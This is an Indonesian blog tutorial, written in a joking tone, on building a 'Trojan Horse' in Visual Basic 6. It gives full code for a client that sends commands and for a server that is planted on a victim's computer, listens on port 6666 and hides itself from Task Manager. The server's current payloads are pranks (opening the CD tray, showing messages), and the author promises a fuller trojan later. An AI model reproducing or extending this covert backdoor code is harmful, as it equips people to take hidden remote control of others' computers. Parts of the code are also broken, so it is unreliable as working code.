INTRO
Ada yang udah tau
mengenai Trojan Horse sebelumnya? Pasti udah tau donk!! Yang belum tau (Kasiaaaaan….dech…lo….)
silahkan cari artikel mengenai Trojan Horse pada media-media lain (Koran,
ilmukomputer.com, jasakom, dll). Soalnya untuk jelasin Trojan Horse Perlu satu
halaman lebih…CUUUAAAAPPPEEEKKK….!!!
Ok dech langsung aza…!!!
Pada pembuatan
Trojan Horse ini (TH) ada beberapa step yang perlu kita perhatikan antara lain:
-
Tahap Persiapan
-
Tahap Pengerjaan
a). Client
è Interface
è Coding :
Conection, Half-Execution, Error Handler, dll..+ debug
b). Server
è Coding : Open
Gate, Execution, Stealth, dll.
3. Tahap Akhir
Sekarang marilah
kita mulai untuk membuat proyek kita ini. Disarankan sebelum kita memulai untuk
melaksanakan suatu pekerjaan ada baiknya kita berdoa terlebih dahulu agar apapun
yang kita kerjakan mendapat berkah dari Tuhan YME. Amin…..!!!!!!
1. TAHAP PERSIAPAN
Pada tahap ini yang
pertama harus kita lakukan adalah membuka aplikasi Visual Basic. Setelah itu
pada jendela New Project pilih Standard EXE seperti pada gambar.
Setelah itu akan tampil
satu form kosong, dan tampilan default lainya.
Untuk membuat
proyek ini kita tidak bisa menggunakan tools (control) sederhana yang
ditampilkan pada Toolbox. Kita memerlukan satu control tambahan yang harus kita
load ke dalam Toolbar/Toolbox. Control yang kita maksud disini adalah MS
WINSOCK control.
Untuk mengaktikan (memanggil)
control ini kita pilih Project > Components pada Menubar. Maka akan
tampil jendela component seperti pada gambar:
Lalu kita pilih
Microsoft Winsock Control 6.0 dengan memberi tanda centang pada checkbox
disisi kirinya (spt pada gbr). Maka pada toolbar akan tampil satu control
tambahan ber-icon dua computer yang terhubung oleh garis merah seperti pada
gambar berikut.
Gambar ini
menandakan bahwa ms winsock control berhasil kita load ke dalam toolbar dan siap
di gunakan.
Dengan tampilnya
icon contol tersebut berarti persiapan kita untuk membuat proyek ini telah
selesai. Maka kita akan lanjutkan ketahap berikutnya. Yaitu tahap pengerjaan.
2. TAHAP PENGERJAAN
Seperti yang sudah
kita ketahui sebelumnya, umumnya program TH terdiri dari dua unit program yaitu
: CLIENT dan SERVER. Saya akan coba jelaskan sedikit maksud dari kedua program
ini.
Program CLIENT
ialah program yang akan kita gunakan sebagai sarana pengendali (remote) dari
program SERVER. Dengan kata lain program ini lah yang akan kita gunakan untuk
mengeksekusi computer korban (victim) dengan bantuan SERVER yang ditanamkan pada
victim.
Sedangkan program
SERVER ialah program yang akan kita tanamkan pada victim dengan tujuan
mengeksekusi victim itu sendiri berdasarkan instruksi yang dikirimkan oleh
program CLIENT. Bingung??!!!...Sukuriiinnn…!!!!
Okey..marilah kita
mulai tahap ini dengan membuat program CLIENT terlebih dahulu. Kenapa?? Karena
untuk membuat program ini tidaklah terlalu sulit. OK..marilah…ehm…
Program CLIENT
Pada program ini
kita akan membuat dua “Fun Menu” yaitu : Open/Close CD ROM dan Send Message.
Sekilas Info:
Sebenarnya masih
banyak “Fun Menu” lain yang dapat kita tambahkan, tapi pada pembahasan kali
ini kita persingkat saja karena akan memakan banyak halaman untuk
menjelaskannya. Oleh karena itu pembahasan “Fun Menu” lebih lanjut akan saya
buat pada artikel selanjutnya (“Membuat TH dengan VB6 seri 2). Untuk release
artikel ke-2, tergantung dari banyaknya respon yang mendukung yang saya terima
melalui e-mail di xpartacvs@gmail.com
Interface
Dalam hal ini yang
kita perlukan ialah 5 command button, 2 textbox, 1 label, dan 1 winsock control.
Atur sedemikian rupa sesuai selera anda pada form.
rename
tiap nama control menjadi seperti dibawah ini :
Command1 - cmdConnect
Label1 - lblStatus
Command2 -
cmdDisconnect Text1 - txtIP
Command3 - cmdOpen
Text2 - txtMsg
Command4 - cmdClose
Winsock1 - tcpClient
Command5 - cmdMsg
Jangan lupa Caption dan
Text pada control.
Coding
Ok saatnya coding…..
Klik ganda pada tombol
Connect, lalu masukan code berikut pada jendela code:
Private Sub
cmdConnect_Click()
On Error
Resume Next
cmdConnect.Enabled =
False
lblStatus.Caption =
"Connecting..”
If
txtIP.Text = "" or Then
MsgBox "Please enter a
valid IP adress", vbCritical
End If
tcpClient.Connect
txtIP.Text, 6666
End Sub
Maksud dari script
diatas ialah:
computer akan
mematikan tombol connect. Lalu computer akan memberikan keterangan
“connecting….” pada label status untuk memberikan keterangan pada anda bahwa
saat ini anda sedang berusaha untuk melakukan koneksi ke computer Korban.
Setelah itu computer akan mengecek apakan anda sudah mengisi IP Address atau
belum. Jika belum maka akan tampil msgbox jika sudah maka computer akan mencoba
koneksi ke nomor IP yang anda masukan pada txtIP dengan nomor port 6666 (nomor
port bisa diisi berapa saja, umumnya terdiri dari empat digit).
Peringatan :
Perhatikan dan
ingat nomor port yang anda masukan, karena akan kita gunakan untuk program
SERVER.
Klik ganda pada tombol
disconnect dan masukan code berikut:
Private Sub
cmdDisconnect_Click()
On Error
Resume Next
LblStatus.Caption = “Not
Connected”
cmdDisconnect.Enabled =
False
cmdConnect.Enabled =
True
tcpClient.Close
End Sub
Maksud dari script
diatas ialah:
Computer akan memberi
keterangan “Not Connected” pada label status untuk menginformasikan bahwa tidak
ada koneksi yang sedang berjalan saat ini. Lalu Komputer akan mematikan tombol
Disconnect dan menghidupkan kembali tombol Connect. Lalu computer akan
memutuskan hubungan dengan Server.
Klik ganda pada
Winsock dan pilih pada menu event “Connect”. (spt pada gbr):
Lalu tambahkan kode
berikut:
Private Sub
tcpClient_Connect()
lblStatus.Caption =
"Connected"
End Sub
Keterangan “Connected”
pada label status hanya akan tampil setelah SERVER merespon.
Half-Execution
Mungkin anda
bertanya kenapa saya menyebutnya Half-Execution. Alasanya ialah karena pada
program CLIENT ini Eksekusi yang kita inginkan belumlah dapat di jalankan tanpa
bantuan SERVER. Prinsip kerja program CLIENT dalam melaksanakan eksekusi ialah
hanya sebagai “Commander” atau pemberi instruksi.
Maksudnya
disini program CLIENT akan mengirimkan data berupa ‘string’ kepada program
SERVER yang nantinya akan diolah (diterjemahakan) oleh program SERVER sebagai
suatu perintah untuk melaksanakan eksekusi. Ok..mari kita mulai….
Klik ganda pada tombol
Open cd-rom lalu tambahkan kode berikut:
Private Sub
cmdOpen_Click()
tcpClient.SendData "opn”
'Mengirimkan string ke server
End Sub
Klik ganda pada tombol
Close cd-rom lalu tamahkan kode berikut:
Private Sub
cmdClose_Click()
tcpClient.SendData "cls”
'Mengirimkan string ke server
End Sub
Klik ganda pada tombol
Send message dan tambahkan kode berikut:
Private Sub
cmdMsg_Click()
tcpClient.SendData "msg"
& txtMsg 'Mengirim string ke server beserta isi
txtbox
End Sub
Selamat Program CLIENT
sudah selesai…….!!!!
Debug Client
Program CLIENT yang
baru kita buat diatas belumlah sempurna. Saya yakin masih banyak terdapat bug
pada program tersebut. Oleh karena itu marilah kita mencoba untuk
menyempurnakanya.
-
Tombol Disconnect
Pada object
ini yang pertama yang harus kita perhatikan ialah Property dari tombol ini. Saat
Program dijalankan pertama kali sebaiknya tombol ini berada pada keadaan
‘disabled’ (mati). Karena seperti yang sudah kita ketahui sebelumnya fungsi dari
tombol ini adalah memutuskan Koneksi ke Server.
Pada saat kita
menjalankan program ini tentu saja belum ada koneksi sama sekali terhadap
SERVER, oleh karena itu ada baiknya kita mematikan tombol ini dengan merubah
property cmdDisconnect.Enabled manjadi false
pada jendela property.
-
On Error Resume Next
Ada baiknya
sebelum mengetikan code pada badan sub, kita awali dengan mengetikan
On Error Resume Next agar ketika terjadi
kesalahan program kita tidak mengeluarkan pesan error dan tidak keluar dari
program.
Program SERVER
Setelah program
CLIENT selesai kita buat sekarang saatnya kita membuat program Executor yang
sebenarnya yaitu program SERVER. Apakah program CLIENT anda masih terbuka?
Sebaiknya iya agar kita lebih mudah dalam mengerjakan pogram SERVER.
Pertama jalankan kembali
aplikasi visual basic seperti biasa dan pilih Standard EXE maka akan tampil
tampilan default beserta tetek bengeknya…. Pada program SERVER ini kita hanya
membutuhkan satu control yaitu MS WINSOCK CONTROL. Letakan satu winsock kedalam
form dan beri nama tcpServer Bila belum tersedia pada toolbar, load kembali
seperti pada pembahasan sebelumnya.. Dan jangan lupa mengganti nama form menjadi
frmServer, jangan lupa juga untuk menguah property Visible-nya menjadi false.
Open Gate
Kita akan mulai
dari terhnik termudah dulu yaitu Open Gate. Mari kita Mulai……
Klik ganda pada form
lalu masukan kode berikut:
Private Sub
Form_Load()
On Error
Resume Next
tcpServer.LocalPort = 6666
tcpServer.Listen
End Sub
Maksud dari script
diatas:
Pertama winsock (tcpServer)
akan mengecek pada port yang kita masukan yaitu 6666 (nomor port yang sama
dengan program CLIENT). Setelah itu winsock akan membuka port tersebut dengan
perintah
Listen. Tujuannya ialah : agar program CLIENT yang mencoba untuk Connect ke
computer korban dapat masuk melaliu port yang telah kita buka yaitu port 6666.
Sekarang kita akan
memberi kode pada winsock jadi Klikganda pada winsock control dan
pilih “connection request” pada combobox event ( kalau kurang
jelas lihat pembahasan pada program CLIENT)
Tambahkan kode berikut:
Private Sub
tcpServer_ConnectionRequest(ByVal requestID
As Long)
On Error
Resume Next
tcpServer.Close
tcpServer.Accept
requestID
End Sub
Maksud dari script
diatas:
Pertama winsock akan
menutup koneksi untuk menghindari terjadinya error, lalu ia akan menerima semua
request yang masuk ( request dari program CLIENT).
Masih pada winsock,
pilih “error” pada combobox event dan beri kode berikut:
Private Sub
tcpServer_Error(ByVal Number
As Integer, Description
As String, ByVal
Scode As Long, ByVal
Source As String,
ByVal HelpFile As String,
ByVal HelpContext As
Long, CancelDisplay As Boolean)
On Error
Resume Next
Do While
tcpServer.State <>
sckClosed
tcpServer.Close
loop
tcpServer.Listen
End Sub
Maksud dari script
diatas:
Saat terjadi error
pada koneksi, winsock akan segera menutup koneksi setelah itu ia akan membuka
kembali port agar bisa dihubungi kembali oleh server.
Waw…untuk membuka
pertahanan victim cukup panjang bukan? Sekarang marilah kita melangkah ke tahap
berikutnya yaitu melakukan infeksi kedalam computer korban.
Execution
Sekarang saatnya
kita buat program pengeksekusi yang sebenarnya. Sebelum kita masuk kebagian
utama, pertama-tama tambahkan sebuah module kosong. Pilih Project
“diatas layar” dan pilih add module. Lalu buka modul kosong tsb.
Untuk membuka atau
menutup CD-ROM kita perlu menggunakan fungsi API pada windows. Oleh karma itu
kita perlu API viewer.
Klik pada add-ins
lalu klik API Viewer. Jika anda tidak melihatnya pada daftar maka klik
Add-In Manager lalu pilih kemudian tekan “OK”. Saat kamu membuka
API Viewer, kamu akan melihat jendela baru. Klik File lalu pilih
load textfile dan pilih WIN32API.txt truss buka dech.
Load WIN32API.txt file
Pada mciSendString
seperti yang ditunjukan oleh gambar, set Declaration Scope menjadi
Public lalu tambahkan pada module. Tekan Insert untuk menambahkanya
secara otomatis
Sekarang kita siap untuk
memberi kode pada Open / Close cd-rom. Kembali ke form dan Klik ganda pada
winsock dan pilih “DataArrival” pada procedure window lalu tambahkan kode
beriktu:
Private Sub
tcpServer_DataArrival(ByVal bytesTotal
As Long)
Dim
varData As String
Dim
strData As String
tcpServer.GetData strData,
vbString
varData =
Right(strData, Len(strData)
- 3)
Select Case
Cstr(strdata)
Case
"opn"
mciSendString "Set
CDAudio Door Open", vbNullString, 0, 0
Case
"cls"
mciSendString "Set
CDAudio Door Closed", vbNullString, 0, 0
Case
"msg"
MsgBox
varData, vbInformation, "Information"
End Select
End Sub
Maksud dari script
diatas:
Saat data diterima,
pertama program akan mendeklarasikan vardata dan strdata sebagai string dengan
strdata sebagai penampung data yang masuk. Sedangkan vardata ialah data bawaan
yang tidak diproses sebagai perintah ( pesan pada msgbox ). Setelah itu program
akan mengambil data yang masuk dengan mengkonversinya terlebih dahulu menjadi
string, jika tidak data yang masuk akan bertipe byte. Lalu program akan
menyeleksi data yang masuk apakah data bernilai opn, cls, atau msg. jika data
bernilai opn maka akan dilakukan perintah pembukaan CD-ROOM, jika data adalah
cls maka akan dilakukan perintah penutupn CD-ROOM, dan jika data bernilai msg
maka akan ditampilkan msgbox berisi pesan yang ditampung pada variael vardata.
Stealth
Untuk lebih
memperpanjang umur program Trojan kita, ada baiknya kita buat program kita
seolah tidak terlihat. Caranya ialah menghilangkan program dari task manager.
Untuk melakukanya : Tambahkan script berikut pada sub Form_Load sehingga menjadi
:
Private Sub
Form_Load()
On Error
Resume Next
tcpServer.LocalPort = 6666
tcpServer.Listen
App.TaskVisible =
False
End Sub
3. TAHAP AKHIR
Pada tahap akhir
ini saya tidak akan menjelaskan apa-apa, pada tahap ini anda tinggal mengkompile
program2 yang telah dibuat tersebut dan mungkin mengadakan sedikit pengetesan
dan debugging.
PENUTUP
Sebelumnya saya
ucapkan terimakasih pada semua yang telah mendukung dalam penyusunan artikel ini.
Selain itu saya juga mohon maaf apa bila ada kekurangan dan ketidak sempurnaan
pada bahasan ini. Karena sebagai manusia saya tidak akan luput dari kesalahan.
Saya juga mohon maaf yang sebesar-besarnya apabila rekan-rekan sekalian ada yang
tidak menyukai artikel yang saya tulis. Artikel ini semata-mata saya buat tidak
lain ialah hanya untuk berbagi pengalaman. Karena saya sadar “Diatas langit
masih ada langit” jadi saya sangat mengharapkan saran dan kritik dari
rekan-rekan sekalian demi kemajuan ilmu pengetahuan. Wassalam…
TAMBAHAN :
Trojan ini masih
jinak.. artinya belum melakukan infeksi sehingga masih aman untuk tahap
percobaan. Untuk pembahasan lengkap (pure Trojan) akan saya bahas pada artikel
ke-2. Thanx..
/* ------------------------------|EOF|------------------------------ */
Tidak ada komentar:
Posting Komentar